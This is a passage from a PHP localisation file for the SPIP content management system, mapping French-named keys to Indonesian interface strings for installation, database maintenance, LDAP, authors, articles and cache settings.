'info_connexion_base' => 'Langkah kedua: <b>Percobaan untuk koneksi ke database</B>',
'info_connexion_ldap_ok' => 'Koneksi LDAP anda berhasil.</b><p> Anda dapat meneruskan ke langkah selanjutnya.</p>', # MODIF
'info_connexion_mysql' => 'Langkah pertama: <b>Koneksi SQL anda</b>',
'info_connexion_ok' => 'Koneksi berhasil.',
'info_contact' => 'Kontak',
'info_contenu_articles' => 'Isi artikel',
'info_creation_paragraphe' => '(Untuk membuat paragraf, anda cukup meninggalkan baris-baris kosong.)', # MODIF
'info_creation_rubrique' => 'Sebelum bisa menulis artikel,<br /> anda harus membuat paling tidak satu bagian.<br />',
'info_creation_tables' => 'Langkah keempat: <b>Pembuatan tabel-tabel database</b>',
'info_creer_base' => '<b>Buat</b> sebuah database baru:',
'info_dans_rubrique' => 'Dalam bagian:',
'info_date_publication_anterieure' => 'Tanggal publikasi sebelumnya:',
'info_date_referencement' => 'TANGGAL REFERENSI SITUS INI:',
'info_derniere_etape' => 'Langkah terakhir: <b>Selesai!',
'info_derniers_articles_publies' => 'Artikel-artikel terakhir anda yang dipublikasi',
'info_desactiver_messagerie_personnelle' => 'Anda dapat mengaktifkan atau menonaktifkan sistem pesan pribadi anda di situs ini.',
'info_descriptif' => 'Deskripsi:',
'info_discussion_cours' => 'Diskusi-diskusi yang sedang berlangsung',
'info_ecrire_article' => 'Sebelum dapat menulis artikel, anda harus membuat paling tidak satu bagian.',
'info_email_envoi' => 'Alamat e-mail pengirim (opsional)',
'info_email_envoi_txt' => 'Masukkan alamat e-mail pengirim yang digunakan untuk mengirim e-mail (secara standar, alamat penerima digunakan sebagai alamat pengirim) :',
'info_email_webmestre' => 'Alamat e-mail webmaster (opsional)', # MODIF
'info_entrer_code_alphabet' => 'Masukkan kode set karakter yang akan digunakan:',
'info_envoi_email_automatique' => 'Pengiriman otomatis',
'info_envoyer_maintenant' => 'Kirim sekarang',
'info_etape_suivante' => 'Lanjut ke langkah berikutnya',
'info_etape_suivante_1' => 'Anda dapat pindah ke langkah selanjutnya.',
'info_etape_suivante_2' => 'Anda dapat pindah ke langkah selanjutnya.',
'info_exportation_base' => 'ekspor database ke @archive@',
'info_facilite_suivi_activite' => 'Untuk menfasilitasi tindak lanjut dari aktivitas editorial situs;
SPIP dapat mengirimkan notifikasi melalui e-mail, ke daftar surat seorang editor,
sebagai contoh permohonan publikasi dan validasi artikel.',
'info_fichiers_authent' => 'Berkas ototentikasi ".htpasswd"',
'info_forums_abo_invites' => 'Situs anda berisikan forum-forum berlangganan; pengunjung dapat mendaftarkan diri pada forum-forum tersebut di situs umum.',
'info_gauche_admin_effacer' => '<b>Hanya administrator yang memiliki akses ke halaman ini.</b><p> Halaman ini memberikan akses ke berbagai tugas pemeliharaan teknis. Beberapa di antaranya memerlukan proses ototentikasi tersendiri yang membutuhkan akses FTP ke situs web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Hanya administrator yang memiliki akses ke halaman ini.</b><p> Halaman ini memberikan akses ke berbagai tugas pemeliharaan teknis. Beberapa di antaranya memerlukan proses ototentikasi tersendiri yang membutuhkan akses FTP ke situs web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Hanya administrator yang memiliki akses ke halaman ini.</b><p> Halaman ini memberikan akses ke berbagai tugas pemeliharaan teknis. Beberapa di antaranya memerlukan proses ototentikasi tersendiri yang membutuhkan akses FTP ke situs web.</p>', # MODIF
'info_gauche_auteurs' => 'Anda akan menemukan seluruh penulis situs di sini.
Status dari setiap penulis ditunjukkan oleh warna icon (administrator = hijau; editor = kuning).',
'info_gauche_auteurs_exterieurs' => 'Penulis eksternal, tanpa akses ke situs, ditunjukkan oleh icon biru; penulis yang dihapus oleh icon warna keranjang sampah.', # MODIF
'info_gauche_messagerie' => 'Sistem pesan mengizinkan anda bertukar pesan dengan sesama editor, untuk menyimpan memo (untuk keperluan pribadi anda) atau untuk menampilkan pengumuman di halaman depan area pribadi (jika anda seorang administrator).',
'info_gauche_numero_auteur' => 'NOMOR PENULIS:',
'info_gauche_statistiques_referers' => 'Halaman ini menampilkan daftar <i>pereferensi</I>, yakni situs-situs yang memuat tautan ke situs anda, hanya untuk kemarin dan hari ini: sesungguhnya daftar ini diperbaharui setiap 24 jam.',
'info_gauche_visiteurs_enregistres' => 'Anda akan menemukan di sini para pengunjung
terdaftar di area umum situs (forum-forum berlangganan).',
'info_generation_miniatures_images' => 'Membuat gambar-gambar kecil',
'info_gerer_trad' => 'Aktifkan tautan penerjemahan?',
'info_hebergeur_desactiver_envoi_email' => 'Sejumlah hosting menonaktifkan pengiriman e-mail
otomatis di server mereka. Dalam hal ini fitur-fitur SPIP berikut tidak
dapat diimplementasikan.',
'info_hier' => 'kemarin:',
'info_historique_activer' => 'Aktifkan pelacakan revisi',
'info_historique_affiche' => 'Tampilkan versi ini',
'info_historique_comparaison' => 'bandingkan',
'info_historique_desactiver' => 'Non aktifkan pelacakan revisi',
'info_historique_texte' => 'Pelacakan revisi mengizinkan anda untuk melihat perubahan dan penambahan yang dibuat pada sebuah artikel dan menampilkan perbedaan di antara versi-versi yang ada.',
'info_identification_publique' => 'Identitas umum anda...',
'info_image_process' => 'Pilih metode terbaik untuk membuat gambar kecil dengan mengklik gambar yang terkait.',
'info_image_process2' => '<b>Catatan:</b> <i>Jika anda tidak dapat melihat gambar, berarti server anda tidak dikonfigurasi untuk menggunakan peralatan yang ada. Jika anda ingin menggunakan fitur-fitur ini, hubungi bagian teknis penyedia hosting anda dan minta ekstensi «GD» atau «Imagick» diinstal.</i>', # MODIF
'info_images_auto' => 'Gambar secara otomatis dikalkulasi',
'info_informations_personnelles' => 'Langkah kelima: <b>Informasi pribadi</B>',
'info_inscription_automatique' => 'Registrasi otomatis editor-editor baru',
'info_jeu_caractere' => 'Set karakter situs',
'info_jours' => 'hari',
'info_laisser_champs_vides' => 'biarkan kolom-kolom ini kosong)',
'info_langues' => 'Bahasa-bahasa situs',
'info_ldap_ok' => 'Ototentikasi LDAP diinstal.',
'info_lien_hypertexte' => 'Tautan web:',
'info_liste_redacteurs_connectes' => 'Daftar editor-editor terkoneksi',
'info_login_existant' => 'Log masuk ini sudah ada.',
'info_login_trop_court' => 'Log masuk terlalu pendek.',
'info_maximum' => 'maksimum:',
'info_meme_rubrique' => 'Dalam bagian yang sama',
'info_message' => 'Pesan dari',
'info_message_efface' => 'PESAN DIHAPUS',
'info_message_en_redaction' => 'Pesan-pesan anda dalam proses',
'info_message_technique' => 'Pesan teknis:',
'info_messagerie_interne' => 'Sistem pesan internal',
'info_mise_a_niveau_base' => 'Pembaharuan database SQL',
'info_mise_a_niveau_base_2' => '{{Peringatan!}} Anda telah menginstal berkas SPIP
{yang lebih tua} daripada berkas yang terdapat sebelumnya
di situs ini: database anda terancam hilang dan situs anda
tidak akan bekerja sebagaimana mestinya lagi.<br />{{Instal kembali
berkas-berkas SPIP}}',
'info_modifier_rubrique' => 'Modifikasi bagian:',
'info_modifier_titre' => 'Modifikasi: @titre@',
'info_mon_site_spip' => 'Situs SPIP saya',
'info_mot_sans_groupe' => '(Kata-kata kunci tanpa kelompok...)',
'info_moteur_recherche' => 'Mesin pencari terintegrasi',
'info_moyenne' => 'rata-rata:',
'info_multi_articles' => 'Aktifkan menu bahasa untuk artikel?',
'info_multi_cet_article' => 'Bahasa artikel ini:',
'info_multi_langues_choisies' => 'Silakan pilih di bawah bahasa yang tersedia untuk editor situs anda.
Bahasa-bahasa yang telah digunakan oleh situs anda (di daftar paling atas) tidak dapat dinonaktifkan.',
'info_multi_rubriques' => 'Aktifkan menu bahasa untuk bagian?',
'info_multi_secteurs' => '... hanya untuk bagian-bagian yang berlokasi di root?',
'info_nom' => 'Nama',
'info_nom_destinataire' => 'Nama penerima',
'info_nom_site' => 'Nama situs anda',
'info_nombre_articles' => '@nb_articles@ artikel,',
'info_nombre_partcipants' => 'PESERTA DISKUSI:',
'info_nombre_rubriques' => '@nb_rubriques@ bagian,',
'info_nombre_sites' => '@nb_sites@ situs,',
'info_non_deplacer' => 'Jangan pindahkan...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP dapat mengirimkan pengumuman-pengumuman terbaru situs secara teratur.
(artikel-artikel dan berita-berita yang baru saja dipublikasi).',
'info_non_envoi_liste_nouveautes' => 'Jangan kirim daftar berita-berita terbaru',
'info_non_modifiable' => 'tidak dapat dimodifikasi',
'info_non_suppression_mot_cle' => 'Saya tidak ingin menghapus kata kunci ini.',
'info_notes' => 'Catatan kaki',
'info_nouveaux_message' => 'Pesan-pesan baru',
'info_nouvel_article' => 'Artikel baru',
'info_nouvelle_traduction' => 'Terjemahan baru:',
'info_numero_article' => 'NOMOR ARTIKEL:',
'info_obligatoire_02' => '[Dibutuhkan]', # MODIF
'info_option_accepter_visiteurs' => 'Izinkan registrasi pengunjung dari situs umum',
'info_option_faire_suivre' => 'Teruskan pesan forum ke penulis artikel',
'info_option_ne_pas_accepter_visiteurs' => 'Tolak registrasi pengunjung',
'info_options_avancees' => 'OPSI-OPSI LANJUTAN',
'info_ortho_activer' => 'Aktifkan pemeriksa ejaan.',
'info_ortho_desactiver' => 'Non aktifkan pemeriksa ejaan.',
'info_ou' => 'atau...',
'info_page_interdite' => 'Halaman terlarang',
'info_par_nom' => 'berdasarkan nama',
'info_par_nombre_article' => '(berdasarkan jumlah artikel)',
'info_par_statut' => 'berdasarkan status',
'info_par_tri' => '(Oleh @tri@)',
'info_passe_trop_court' => 'Kata sandi terlalu pendek.',
'info_passes_identiques' => 'Dua kata sandi tidak identik.',
'info_pense_bete_ancien' => 'Memo-memo lama anda', # MODIF
'info_plus_cinq_car' => 'lebih dari 5 karakter',
'info_plus_cinq_car_2' => '(Lebih dari 5 karakter)',
'info_plus_trois_car' => '(Lebih dari 3 karakter)',
'info_popularite' => 'popularitas: @popularite@; kunjungan: @visites@',
'info_popularite_4' => 'popularitas: @popularite@; kunjungan: @visites@',
'info_post_scriptum' => 'Postscript',
'info_post_scriptum_2' => 'Postscript:',
'info_pour' => 'untuk',
'info_preview_admin' => 'Hanya administrator yang memiliki akses ke mode preview',
'info_preview_comite' => 'Semua penulis memiliki akses ke mode preview',
'info_preview_desactive' => 'Mode preview dinonaktifkan',
'info_preview_texte' => 'Ada kemungkinan melihat situs terlebih dahulu seolah-olah semua artikel dan berita (yang paling tidak memiliki status "terkirim") telah dipublikasi. Apakah mode preview ini sebaiknya dibatasi hanya kepada administrator, terbuka untuk semua penulis atau dinonaktifkan selama-lamanya?',
'info_principaux_correspondants' => 'Korespondensi utama anda',
'info_procedez_par_etape' => 'silakan dilanjutkan langkah demi langkah',
'info_procedure_maj_version' => 'prosedur pembaharuan hendaknya dijalankan untuk
mengadaptasi database degan versi terbaru SPIP.',
'info_proxy_ok' => 'Percobaan proxy berhasil.',
'info_ps' => 'P.S.',
'info_publier' => 'publikasi',
'info_publies' => 'Artikel anda dipublikasi secara online',
'info_question_accepter_visiteurs' => 'Jika templat situs anda mengizinkan pengunjung untuk mendaftar tanpa perlu memasuki area pribadi, silakan aktifkan opsi berikut:',
'info_question_inscription_nouveaux_redacteurs' => 'Apakah anda mengizinkan registrasi editor baru dari
situs yang dipublikasi? Jika anda setuju, pengunjung dapat mendaftar
melalui formulir terotomasi, dan akan mengakses area pribadi untuk
melihat artikel-artikel mereka. <blockquote><i>Selama proses registrasi,
pengguna menerima sebuah e-mail terotomasi
yang memberikan kode akses ke situs pribadi. Sejumlah
hosting menonaktifkan pengiriman e-mail di server mereka:
dalam hal ini ini registrasi terotomasi tidak dapat
diimplementasikan.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Apakah anda ingin mengunakan mesin pencari yang terintegrasi dengan SPIP?
(Menonaktifkannya akan meningkatkan kinerja sistem.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Root situs',
'info_recharger_page' => 'Silakan buka kembali halaman ini beberapa saat lagi.',
'info_recherche_auteur_a_affiner' => 'Terlalu banyaj hasil untuk "@cherche_auteur@"; silakan perbaiki pencarian anda.',
'info_recherche_auteur_ok' => 'Sejumlah editor ditemukan untuk "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Tidak ada hasil untuk "@cherche_auteur@".',
'info_recommencer' => 'Silakan coba lagi.',
'info_redacteur_1' => 'Redaktur',
'info_redacteur_2' => 'memiliki akses ke area pribadi (<i>disarankan</i>)',
'info_redacteurs' => 'Editor',
'info_redaction_en_cours' => 'PENGEDITAN DALAM PROSES',
'info_redirection' => 'Pengalihan tujuan',
'info_refuses' => 'Artikel anda ditolak',
'info_reglage_ldap' => 'Pilihan: <b>Menyesuaikan impor LDAP</b>',
'info_renvoi_article' => '<b>Pengalihan tujuan.</B> Artikel ini mengarah pada halaman:',
'info_reserve_admin' => 'Hanya administrator yang dapat memodifikasi alamat ini.',
'info_restreindre_rubrique' => 'Batasi manajemen ke bagian:',
'info_resultat_recherche' => 'Hasil-hasil pencarian:',
'info_rubriques' => 'Bagian',
'info_rubriques_02' => 'bagian',
'info_rubriques_trouvees' => 'Bagian ditemukan',
'info_rubriques_trouvees_dans_texte' => 'Bagian ditemukan (dalam teks)',
'info_sans_titre' => 'Tidak berjudul',
'info_selection_chemin_acces' => '<b>Pilih</b> di bawah path akses dalam direktori:',
'info_signatures' => 'tanda tangan',
'info_site' => 'Situs',
'info_site_2' => 'situs:',
'info_site_min' => 'situs',
'info_site_reference_2' => 'Situs referensi',
'info_site_web' => 'SITUS WEB:', # MODIF
'info_sites' => 'situs',
'info_sites_lies_mot' => 'Situs-situs referensi yang terasosiasi dengan kata kunci ini',
'info_sites_proxy' => 'Menggunakan proxy',
'info_sites_trouves' => 'Situs ditemukan',
'info_sites_trouves_dans_texte' => 'Situs ditemukan (dalam teks)',
'info_sous_titre' => 'Sub judul:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Status penulis ini:', # MODIF
'info_statut_auteur_a_confirmer' => 'Pendaftaran yang perlu dikonfirmasi',
'info_statut_auteur_autre' => 'Status lainnya:',
'info_statut_efface' => 'Dihapus',
'info_statut_redacteur' => 'Editor',
'info_statut_utilisateurs_1' => 'Status standar para pengguna yang diimpor',
'info_statut_utilisateurs_2' => 'Pilih status yang diberikan kepada orang-orang yang terdapat di direktori LDAP ketika terkoneksi pertama kali. Nanti anda dapat memodifikasi status tersebut untuk setiap penulis berdasarkan kasus per kasus.',
'info_suivi_activite' => 'Tindak lanjut aktivitas editorial',
'info_surtitre' => 'Judul atas:',
'info_syndication_integrale_1' => 'Situs anda menyediakan berkas-berkas sindikasi (lihat <a href="@url@">@titre@</a>).',
'info_syndication_integrale_2' => 'Apakah anda ingin mengirim seluruh artikel atau ringkasannya saja yang terdiri dari beberapa ratus karakter?',
'info_table_prefix' => 'Data situs ini disimpan di tabel bernama <tt><b>spip</b>_articles</tt>, <tt><b>spip</b>_rubriques</tt>, dst. Jika anda menginstal sejumlah situs dalam database yang sama, anda dapat mengubah prefiks dari nama tabel (Catatan: Gunakan hanya huruf-huruf kecil dan tidak beraksen.).',
'info_taille_maximale_vignette' => 'Ukuran maksimum gambar-gambar kecil yang dihasilkan oleh sistem:',
'info_terminer_installation' => 'Anda dapat menyelesaikan sekarang proses instalasi standar.',
'info_texte' => 'Teks',
'info_texte_explicatif' => 'Teks penjelasan',
'info_texte_long' => '(Teks terlalu panjang: akan muncul dalam beberapa bagian yang akan disusun kembali setelah validasi.)',
'info_texte_message' => 'Teks pesan anda:', # MODIF
'info_texte_message_02' => 'Teks pesan',
'info_titre' => 'Judul:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Semua artikel dalam proses',
'info_tous_articles_presents' => 'Semua artikel yang dipublikasi dalam bagian ini',
'info_tous_les' => 'setiap:',
'info_tous_redacteurs' => 'Pengumuman kepada semua editor',
'info_tout_site' => 'Seluruh situs',
'info_tout_site2' => 'Artikel-artikel belum diterjemahkan ke dalam bahasa ini.',
'info_tout_site3' => 'Artikel telah diterjemahkan ke dalam bahasa ini, tapi sejumlah modifikasi telah dibuat untuk artikel referensi. Oleh karenanya terjemahan memerlukan pembaharuan.',
'info_tout_site4' => 'Artikel telah diterjemahkan ke dalam bahasa ini, dan ini merupakan terjemahan yang terbaru.',
'info_tout_site5' => 'Artikel asli.',
'info_tout_site6' => '<b>Peringatan:</b> hanya artikel-artikel asli yang ditampilkan.
Terjemahan diasosiasikan dengan yang asli,
dalam warna yang menunjukkan statusnya:',
'info_travail_colaboratif' => 'Kolaborasi kerja pada artikel',
'info_un_article' => 'sebuah artikel,',
'info_un_site' => 'sebuah situs,',
'info_une_rubrique' => 'sebuah bagian,',
'info_une_rubrique_02' => '1 bagian',
'info_url' => 'URL:',
'info_url_site' => 'URL SITUS:',
'info_urlref' => 'Tautan web:',
'info_utilisation_spip' => 'SPIP siap untuk digunakan...',
'info_visites_par_mois' => 'Tampilan bulanan:',
'info_visiteur_1' => 'Pengunjung',
'info_visiteur_2' => 'situs umum',
'info_visiteurs' => 'Pengunjung',
'info_visiteurs_02' => 'Pengunjung situs umum',
'install_echec_annonce' => 'Instalasi ini tidak akan bekerja, atau akan menghasilkan situs yang tidak berfungsi sebagaimana mestinya...',
'install_extension_mbstring' => 'SPIP tidak dapat bekerja dengan:',
'install_extension_php_obligatoire' => 'SPIP membutuhkan sebuah ekstensi php:',
'install_php_version' => 'Versi PHP @version@ terlalu tua (minimum = @minimum@)',
'install_select_langue' => 'Pilih sebuah bahasa dengan mengklik tombol "selanjutnya" untuk memulasi prosedur instalasi.',
'intem_redacteur' => 'editor',
'item_accepter_inscriptions' => 'Izinkan pendaftaran',
'item_activer_messages_avertissement' => 'Aktifkan pesan-pesan peringatan',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Tampilkan dalam kalender',
'item_autoriser_documents_joints' => 'Otorisasi dokumen yang terlampir di artikel',
'item_autoriser_documents_joints_rubriques' => 'Otorisasi dokumen dalam bagian',
'item_autoriser_syndication_integrale' => 'Ikut sertakan semua artikel dalam berkas sindikasi',
'item_choix_administrateurs' => 'administrator',
'item_choix_generation_miniature' => 'Buat gambar-gambar kecil secara otomatis.',
'item_choix_non_generation_miniature' => 'Jangan buat gambar-gambar kecil.',
'item_choix_redacteurs' => 'editor',
'item_choix_visiteurs' => 'pengunjung situs umum',
'item_creer_fichiers_authent' => 'Buat berkas .htpasswd',
'item_limiter_recherche' => 'Batasi pencarian pada informasi yang terdapat di situs anda',
'item_login' => 'Log masuk',
'item_mots_cles_association_articles' => 'artikel',
'item_mots_cles_association_rubriques' => 'bagian',
'item_mots_cles_association_sites' => 'situs-situs referensi atau tersindikasi.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'Jangan izinkan pendaftaran',
'item_non_activer_messages_avertissement' => 'Tidak ada pesan-pesan kesalahan',
'item_non_afficher_calendrier' => 'Jangan tampilkan dalam kalender',
'item_non_autoriser_documents_joints' => 'Jangan otorisasi dokumen dalam artikel',
'item_non_autoriser_documents_joints_rubriques' => 'Jangan otorisasi dokumen dalam bagian',
'item_non_autoriser_syndication_integrale' => 'Kirim ringkasan saja',
'item_non_creer_fichiers_authent' => 'Jangan buat berkas-berkas ini',
'item_non_gerer_statistiques' => 'Jangan kelola statistik',
'item_non_limiter_recherche' => 'Perluas pencarian isi dari situs-situs referensi',
'item_non_publier_articles' => 'Jangan publikasi artikel sebelum tanggal publikasinya.',
'item_non_utiliser_moteur_recherche' => 'Jangan gunakan sistem',
'item_nouvel_auteur' => 'Penulis baru',
'item_nouvelle_rubrique' => 'Bagian baru',
'item_oui' => 'Ya',
'item_publier_articles' => 'Publikasi artikel tanpa menghiraukan tanggal publikasinya.',
'item_reponse_article' => 'Balasan pada artikel',
'item_utiliser_moteur_recherche' => 'Gunakan mesin pencari',
'item_visiteur' => 'pengunjung',
// J
'jour_non_connu_nc' => 'tidak dikenal',
// L
'lien_ajout_destinataire' => 'Tambahkan penerima ini',
'lien_ajouter_auteur' => 'Tambahkan penulis ini',
'lien_ajouter_participant' => 'Tambahkan seorang peserta',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NAMA SITUS:',
'lien_retirer_auteur' => 'Hapus penulis',
'lien_retrait_particpant' => 'Hapus peserta ini',
'lien_site' => 'situs',
'lien_supprimer_rubrique' => 'hapus bagian ini',
'lien_tout_deplier' => 'Buka semuanya',
'lien_tout_replier' => 'Tutup semuanya',
'lien_tout_supprimer' => 'Hapus semua',
'lien_trier_nom' => 'Disusun berdasarkan nama',
'lien_trier_nombre_articles' => 'Disusun berdasarkan jumlah artikel',
'lien_trier_statut' => 'Disusun berdasarkan status',
'lien_voir_en_ligne' => 'LIHAT ONLINE:',
'logo_article' => 'LOGO ARTIKEL', # MODIF
'logo_auteur' => 'LOGO PENULIS', # MODIF
'logo_rubrique' => 'LOGO BAGIAN', # MODIF
'logo_site' => 'LOGO SITUS INI', # MODIF
'logo_standard_rubrique' => 'LOGO STANDAR UNTUK BAGIAN', # MODIF
'logo_survol' => 'LOGO SAMARAN', # MODIF
// M
'menu_aide_installation_choix_base' => 'Pilih database anda',
'module_fichier_langue' => 'Berkas bahasa',
'module_raccourci' => 'Jalan pintas',
'module_texte_affiche' => 'Teks tampilan',
'module_texte_explicatif' => 'Anda dapat memasukkan jalan-jalan pintas berikut ke dalam templat situs anda. Mereka akan diterjemahkan secara otomatis dalam berbagai bahasa bila berkas bahasanya telah tersedia.',
'module_texte_traduction' => 'Berkas bahasa « @module@ » tersedia di:',
'mois_non_connu' => 'tidak dikenal',
// O
'onglet_repartition_actuelle' => 'sekarang',
// P
'plugin_etat_developpement' => 'dalam pengembangan',
'plugin_etat_experimental' => 'eksperimental',
'plugin_etat_stable' => 'stabil',
'plugin_etat_test' => 'sedang dites',
'plugins_liste' => 'Daftar plugin',
'protocole_ldap' => 'Versi protokol:',
// R
'repertoire_plugins' => 'Directori:',
// S
'statut_admin_restreint' => '(admin terbatas)', # MODIF
// T
'taille_cache_image' => 'Gambar-gambar dikalkulasi secara otomatis oleh SPIP (gambar kecil, judul yang ditransformasi ke dalam grafik, formula matematika dalam format Tex, dll.) dengan jumlah keseluruhan @taille@ di direktori @dir@ .',
'taille_cache_infinie' => 'Situs ini tidak memiliki batasan tetap untuk ukuran direktori cache.',
'taille_cache_maxi' => 'SPIP sedang mencoba untuk membatasi ukuran direktori cache sebesar lebih kurang <b>@octets@</b> data.',
'taille_cache_octets' => 'Ukuran cache sekarang adalah @octets@.', # MODIF
'taille_cache_vide' => 'Cache kosong.',
'taille_repertoire_cache' => 'Ukuran cache saat ini',
'text_article_propose_publication' => 'Artikel yang dikirimkan untuk publikasi. Jangan segan-segan memberikan opini anda melalui forum yang yang terlampir di artikel ini (di bagian bawah halaman).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Sejumlah server LDAP tidak mengizinkan akses anonim. Dalam hal ini anda harus memberikan satu pengidentifikasi akses awal agar bisa mencari informasi dalam direktori setelahnya. Walaupun demikian, dalam banyak kasus kolom-kolom berikut dapat dibiarkan kosong tidak terisi.',
'texte_admin_effacer_01' => 'Perintah ini menghapus <i>semua</i> isi database,
termasuk <i>semua</i> parameter akses untuk editor dan administrator. Setelah mengeksekusinya, anda sebaiknya
menginstal kembali SPIP untuk membuat database baru dan akses administrator pertama.',
'texte_adresse_annuaire_1' => '( Jika direktori anda diinstal di mesin yang sama dengan situs web anda, kemungkinan besar ini adalah «localhost».)',
'texte_ajout_auteur' => 'Penulis berikut telah ditambahkan ke artikel:',
'texte_annuaire_ldap_1' => 'Jika anda memiliki akses ke sebuah direktori (LDAP), anda dapat menggunakannya untuk mengimpor pengguna secara otomatis di bawah SPIP.',
'texte_article_statut' => 'Status artikel:',
'texte_article_virtuel' => 'Artikel maya',
'texte_article_virtuel_reference' => '<b>Artikel maya:</b> artikel referensi di situs SPIP anda, yang dialihkan ke lain URL. Untuk menghapus pengalihan, hapuslah URL di atas.',
'texte_aucun_resultat_auteur' => 'Tidak ada hasil untuk "@cherche_auteur@".',
'texte_auteur_messagerie' => 'Situs ini dapat memonitor secara terus-menerus daftar editor-editor yang terkoneksi, yang mengizinkan anda untuk bertukar pesan secara langsung. Anda dapat memilih untuk tidak muncul dalam daftar ini (yang membuat anda kemudian, "tak terlihat" di hadapan pengguna lainnya).',
'texte_auteur_messagerie_1' => 'Situs ini mengizinkan anda untuk bertukar pesan dan membuat forum diskusi pribadi di antara pengunjung situs. Anda dapat memilih untuk tidak berpartisipasi dalam pertukaran ini.',
'texte_auteurs' => 'PENULIS',
'texte_choix_base_1' => 'Pilih database anda:',
'texte_choix_base_2' => 'Server SQL berisikan sejumlah database.',
'texte_choix_base_3' => '<b>Pilih</B> di bawah salah satu yang diberikan hosting anda kepada anda:',
'texte_choix_table_prefix' => 'Prefiks untuk tabel:',
'texte_commande_vider_tables_indexation' => 'Gunakan perintah ini untuk mengosongkan tabel terindeksasi
yang digunakan oleh mesin pencari SPIP. Ini akan memberi anda
sejumlah ruangan di disk.',
'texte_compresse_ou_non' => '(yang ini dapat dikompres atau tidak)',
'texte_compte_element' => '@count@ elemen',
'texte_compte_elements' => '@count@ elemen',
'texte_connexion_mysql' => 'Merujuk kepada informasi yang diberikan hosting anda kepada anda: mereka seharusnya memberikan anda, jika hosting anda mendukung SQL, kode koneksi ke server SQL.', # MODIF
'texte_contenu_article' => '(Isi artikel dalam beberapa kata.)',
'texte_contenu_articles' => 'Berdasarkan tampilan yang dipilih untuk situs anda, anda dapat memilih
sejumlah elemen artikel tidak digunakan.
Gunakan daftar berikut untuk memilih elemen mana yang akan dipakai.',
'texte_crash_base' => 'Jika database anda
rusak, anda dapat mencoba memperbaikinya
secara otomatis.',
'texte_creer_rubrique' => 'Sebelum dapat menulis artikel,<br /> anda harus membuat sebuah bagian.',
'texte_date_creation_article' => 'TANGGAL PENULISAN ARTIKEL:',
'texte_date_publication_anterieure' => 'Tanggal publikasi awal:',
'texte_date_publication_anterieure_nonaffichee' => 'Sembunyikan data publikasi awal.',
'texte_date_publication_article' => 'TANGGAL PUBLIKASI ONLINE:',
'texte_descriptif_petition' => 'Deskripsi petisi',
'texte_descriptif_rapide' => 'Deskripsi singkat',
'texte_effacer_base' => 'Hapus database SPIP',
'texte_effacer_donnees_indexation' => 'Hapus data terindeksasi',
'texte_en_cours_validation' => 'Artikel-artikel dan berita-berita berikut dikirim untuk publikasi. Jangan segan-segan memberikan opini anda melalui forum yang terlampir di dalamnya.', # MODIF
'texte_enrichir_mise_a_jour' => 'Anda dapat memperkaya tampilan teks anda dengan menggunakan «jalan pintas typografis».',
'texte_fichier_authent' => '<b>Haruskah SPIP membuat berkas <tt>.htpasswd</tt>
dan <tt>.htpasswd-admin</tt> dalam direktori @dossier@?</b><p>
Berkas-berkas ini dapat digunakan untuk membatasi akses penulis
dan administrator di bagian lain situs anda
(sebagai contoh, program statistik eksternal).</p><p>
Jika anda tidak memerlukan berkas-berkas tersebut, anda dapat
membiarkannya dengan nilai standar yang diberikan (tidak ada
pemmbuat berkas-berkas baru).</p>', # MODIF
'texte_informations_personnelles_1' => 'Sistem akan memberikan anda sekarang akses tersendiri ke situs.',
'texte_informations_personnelles_2' => '(Catatan: jika ini adalah instalasi kembali, dan akses anda masih berlaku, anda dapat', # MODIF
'texte_introductif_article' => '(Teks Pengantar artikel.)',
'texte_jeu_caractere' => 'Anda disarankan menggunakan aksara universal (<tt>utf-8</tt>) di situs anda. Ini memungkinkan untuk menampilkan teks dalam segala bahsa. Browser modern tidak akan mengalami kesulitan dalam menangani set karakter ini.',
'texte_jeu_caractere_2' => 'Catatan: Pengaturan ini tidak akan mengubah teks yang sudah disimpan dalam database.',
'texte_jeu_caractere_3' => 'Situs anda saat ini menggunakan set karakter ini:',
'texte_jeu_caractere_4' => 'Jika itu tidak berkaitan dengan situasi yang anda miliki dengan data anda (sebagai contoh, setelah pemulihan database anda dari backup), atau jika <em>anda mengkonfigurasi situs ini</em> dan berkeinginan menggunakan set karakter yang berbeda, silakan tunjukkan set karakter di sini:',
'texte_jeu_caractere_conversion' => 'Catatan: Anda dapat memutuskan untuk mengubah semua teks (artickel, berita, forum, dll.) situs anda dan semua set karakter ke <tt>utf-8</tt>. Untuk melakukan ini, silakan kunjungi <a href="@url@">halaman konversi UTF-8</a>.',
'texte_lien_hypertexte' => '(Jika pesan anda merujuk pada sebuah artikel yang dipublikasi di Web, atau ke halaman yang berisikan informasi lebih banyak, silakan memasukkan judul halaman dan URL nya di sini.)',
'texte_login_ldap_1' => '(Biarkan kosong untuk akses anonim atau masukkan path lengkap, sebagai contoh «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».)',
'texte_login_precaution' => 'Peringatan! Ini adalah log masuk yang anda gunakan untuk terkoneksi sekarang.
Gunakan formulir ini dengan hati-hati...',
'texte_message_edit' => 'Peringatan: pesan ini dapat dimodifikasi oleh semua administrator situs, dan muncul di hadapan semua editor. Gunakan pengumuman hanya untuk menekankan pentingnya sebuah kejadian dalam siklus hidup situs.',
'texte_mise_a_niveau_base_1' => 'Anda harus memperbaharui berkas-berkas SPIP.
Sekarang anda harus memperbaharui database situs.',
'texte_modifier_article' => 'Modifikasi artikel:',
'texte_moteur_recherche_active' => '<b>Mesin pencari diaktifkan.</b> Gunakan perintah ini
jika anda ingin mengeksekusi indeksasi ulang (setelah pemulihan
sebuah backup sebagai contohnya). Anda seharusnya memperhatikan bahwa
dokumen yang dimodifikasi secara normal (dari tatap muka SPIP) akan diindeks
kembali secara otomatis: oleh karenanya perintah ini hanya berlaku dalam
situasi tertentu saja.',
'texte_moteur_recherche_non_active' => 'Mesin pencari tidak diaktifkan.',
